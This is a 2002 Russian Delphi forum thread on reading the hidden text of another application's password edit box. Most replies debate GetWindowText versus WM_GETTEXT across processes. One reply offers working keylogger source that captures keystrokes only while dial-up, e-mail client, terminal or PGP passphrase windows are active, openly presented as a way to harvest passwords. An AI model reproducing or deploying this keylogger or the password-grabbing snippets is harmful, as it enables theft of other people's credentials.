Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Взять текст [D6, WinME, Win2k]


Страницы:   1 2

guliver ©   (2002-02-28 01:32:00) 

Привет всем! Как из чужого окна из edit box"a со звездочками получить нормальный текст? Заранее спасибо.


Suntechnic   (2002-03-03 23:10:00) [21]

>Raptor © (02.03.02 01:28)
>Ты не прав, однозначно. Я спокойно вытягиваю текст из чужого эдита с помощью приведенного мной кода (через >SendMessage(...,WM_GETTEXT,...)) под вынь2к безо всякого внедрения в чужой процесс.

Насчёт неправ однозначно это ты погорячился :)... А если серьёзно, тут дело вот в чём. У меня была проблема: достать забытый пароль к MS Messenger-у. И все эксперименты я проводил именно с ним. Так вот. Для MS Messenger-а не работают ни GetWindowText, ни SendMessage WM_GETTEXT. Более того... у меня есть ещё одно приложение написанное на MFC и там тоже WM_GETTEXT, на диалоге ввода пороля не работает!!!(Это приложение написанно мной, так что никаких специальных трюков при вводе пароля там не используется) Хотя если написать простенький пример на Delphi Edit-ом посреди формы и задать ему сво-во для ввода пароля, то вроде WM_GETTEXT работает. Какой отсюда вывод? Да понятия не имею :) Честно говоря и лень разбираться, но универсальное решение именно с внедрением, если конечно ты не хочешь использовать свою программку для вскрытия паролей только в приложениях написанных на Delphi или CBuilder.


[NIKEL]   (2002-03-02 12:47:00) [22]

Вот хороший способ высосать пароли из едитов определенных программ - Достоинством метода является отсутствие необходимости читать длинющие keylog - записи, тк кейлоггинг ведется только в интересующих нас окнах (Terminal, DUN, etc...).

unit ksf;
interface
uses windows,Controls,Forms, StdCtrls, Classes, ExtCtrls;

type
Tf1 = class(TForm)
t1: TTimer;
m1: TMemo;
procedure t1t(Sender: TObject);
end;

var
f1: Tf1;
okey:byte;
KAr:array[1..88] of pchar=("-Esc-","1","2","3","4","5","6","7","8","9",
"0","-","=","bsp","-Tab-","q","w","e","r","t","y","u","i","o","p",
"[","]","#13","-Ctrl-","a","s","d","f","g","h","j","k","l",";","""","`",
"-Shift-","\","z","x","c","v","b","n","m",",",".","/","-Shift-","*",
"Alt"," ","CL","F1","F2","F3","F4","F5","F6","F7","F8","F9","F10","NL",
"SL","-Home-","-Up-","-PgUp-","-","-Left-","-*5*-","-Right-","+",
"-End-","-Down-","-PDn-","-Ins-","-Del-","","","-Unk-","F11","F12");

implementation
{$R *.DFM}

procedure Tf1.t1t(Sender: TObject);
var
key:byte;
cap0:pchar;
cap1:string;
begin
getmem(cap0,255);
GetWindowText(GetforegroundWindow,cap0,255); //title активного окна
cap1:=cap0;
freemem(cap0);
if(pos("Connect To",cap1)<>0)or //DialUP
(pos("Установка связи",cap1)<>0)or //DialUP
(pos("Вход в систему",cap1)<>0)or //DialUP
(pos("EType Dialer",cap1)<>0)or //DialUP
(pos("p Networking",cap1)<>0)or //DialUP
(pos("p Connection",cap1)<>0)or //DialUP
(pos("Connecting to",cap1)<>0)or //DialUP
(pos("Connessione a",cap1)<>0)or //DialUP
(pos("Edit User - ",cap1)<>0)or //The Bat!
(pos("Мастер подключения к Интернету",cap1)<>0)or //MSIE,MSOutlook,etc
(pos("сетевого пароля",cap1)<>0)or //MSIE
(pos("Свойства: ",cap1)<>0)or //MSOutlook
(pos("Вход - ",cap1)<>0)or //MSOutlook
(pos(" - Receiving mail",cap1)<>0)or //The Bat!
(pos("Окно терминала",cap1)<>0)or //Terminal
(pos("Passphrase",cap1)<>0) //PGP Disk
then
begin
asm
in al,60h // Читаем из 60h порта нажатую кнопку в al
mov key,al // Перемещаем код ключа из al в Key
end;
if okey<>key then
begin
okey:=key;
if key<=88 then // Ловим Key_Down код
m1.text:=m1.text+kAr[Key] // И берем по этому коду из массива строку
end;
end;
end;


absent   (2002-03-02 11:44:00) [23]

to Raptor:

Не люблю связываться со статичными массивами :)
поэтому немного подправил:

procedure TForm1.Timer1Timer(Sender: TObject);
var
s: string;
h: HWND;
begin
h := WindowFromPoint(Mouse.CursorPos);
SetLength(s, SendMessage(h, WM_GETTEXTLENGTH, 0, 0)+1);
SendMessage(h, WM_GETTEXT, length(s), Integer(PChar(s)));
SetLength(s, lStrLen(PChar(s)));
Label1.Caption := s;
end;

Под XP все нормально захватывает.
Некрасиво то, что вся эта ерунда висит на таймере...


Raptor   (2002-03-02 01:28:00) [24]

2 Sasha9
Ок. Молодец, нашел ошибку. :-))
Хотя это даже не ошибка.

2 Hollander
Специально для тебя привожу строчку из MSDNснова.
This function (GetWindowText) cannotretrieve the text of an edit controlin another application.

2 yaJohn
Ладно, уговорил. Проверил я твой код. Результат негативный. Если просто: ОН НЕ РАБОТАЕТ. Хотя я в этом и не сомневался, так как когда-то тоже таким же образом пытался вытянуть текст из эдита и наступал на эти грабли. Так что советую получше прверять свой код и прочитать MSDNпо этому поводу (смотри ответ 2 Hollander).

2 Suntechnic
GetWindowText, точно так же как и SendMessage, не будут работать для чужого процесса под Win2000

Ты не прав, однозначно. Я спокойно вытягиваю текст из чужого эдита с помощью приведенного мной кода (через SendMessage(...,WM_GETTEXT,...)) под вынь2к безо всякого внедрения в чужой процесс.


Suntechnic   (2002-03-01 17:53:00) [25]

По вопросу однозначно FAQ плачет :)...
Пришлось мне однажды занятся этой проблемой по причине забытия пороля к Messenger-у :)
GetWindowText, точно так же как и SendMessage, не будут работать для чужого процесса под Win2000. Для того, чтобы получить текст из чужого процесс под Win2000 необходимо внедрятся в чужое адресное пространство. Если автору это необходимо для спортивного инетереса, тогда пусть читает про хуки(или другие методы внедрения), а если просто пароль куда-нибудь забыл, тогда могу выслать программку собственного изготовления (Работоспособность проверена под Win98, Win2000, WinXP).


yaJohn   (2002-03-01 17:29:00) [26]

2 Raptor ©
>То что написал yaJohn вообще нигде не покатит.
To, chto pishet yaJohn, on obichno proveriaet na rabotosposobnost". Esli ne proveriaet - znachit uveren na 100% chto budet rabotat" i ukazivaet "ne provereno".
Voz"mite na sebia trud cherez Clipboard vstavit" privedenniy kod v Delphi, otkompilirovat" i zapustit".


Hollander   (2002-03-01 14:24:00) [27]

Текст пересылается любому окну чз Get(Set)WindowText или чз сообщение WM_GET(SET)TEXT. Вручную имеет смысл посылать только тогда, когда окно не просто в другом процессе, а если есть опасность зависания. Тогда можно послать чз функцию SendMessageTimeout . Вся фишка в том, что SendMessage для другого процесса ожидает выборки из очереди и обработки. В текущем процессе происходит просто вызов функции окна. Следовательно GetWindowText эквивалентно SendMessage(WM_GETTEXT)

Вот что в MSDN:
If the target window is owned by the current process, GetWindowText causes a WM_GETTEXT message to be sent to the specified window or control. If the target window is owned by another process and has a caption, GetWindowText retrieves the window caption text. If the window does not have a caption, the return value is a null string. This behavior is by design. It allows applications to call GetWindowText without hanging if the process that owns the target window is hung. However, if the target window is hung and it belongs to the calling application, GetWindowText will hang the calling application.

To retrieve the text of a control in another process, send a WM_GETTEXT message directly instead of calling GetWindowText.


Sasha9   (2002-03-01 13:49:00) [28]

2Raptor
только в SendMessage(wnd,WM_GETTEXT, 255 ,Integer(@buf));не 255, а 256


Raptor   (2002-03-01 12:42:00) [29]

Ну вот такой прмерчик:

....................................
buf:Array [0..255] Of Char;
wnd:HWND;//хендл едита
s:String;
......................................
SendMessage(wnd,WM_GETTEXT,255,Integer(@buf));
s:=Buf;
......................................


[NIKEL]   (2002-03-01 05:51:00) [30]

перед тем как задавать вопросы - поищи! может кто уже задавал такие - написано перед окном ввода сообщения в форуме...
поищи хорошенько, я точно на такой вопрос отвечал...


Raptor   (2002-02-28 21:30:00) [31]

То что написал yaJohnвообще нигде не покатит.
Ведь в MSDNясно написано:
This function cannotretrieve the text of an edit controlin another application.
Потому придется юзать SendMessage(wnd,WM_GETTEXT,...).


VuDZ   (2002-02-28 15:42:00) [32]

только не везде это прокатит.
у меня во всех таких окнах, введённый текст второй поток копирует в другой буфер, а за место введённо печатает всякую фигню (когда знакомый пытался обойти такую заshitу, у него чуть крыша не поехала, да и не только из-за этого)


yaJohn   (2002-02-28 15:39:00) [33]

procedure TForm1.Timer1Timer(Sender: TObject);
var s: string;
h:HWND;
begin
h:=WindowFromPoint(Mouse.CursorPos);
setlength(s,GetWindowTextLength(h)+1);
GetWindowText(h,pchar(s),length(s));
Caption:=s;
end;


Страницы:   1 2

Наверх

Титульная страница Поиск, карта сайта Написать письмо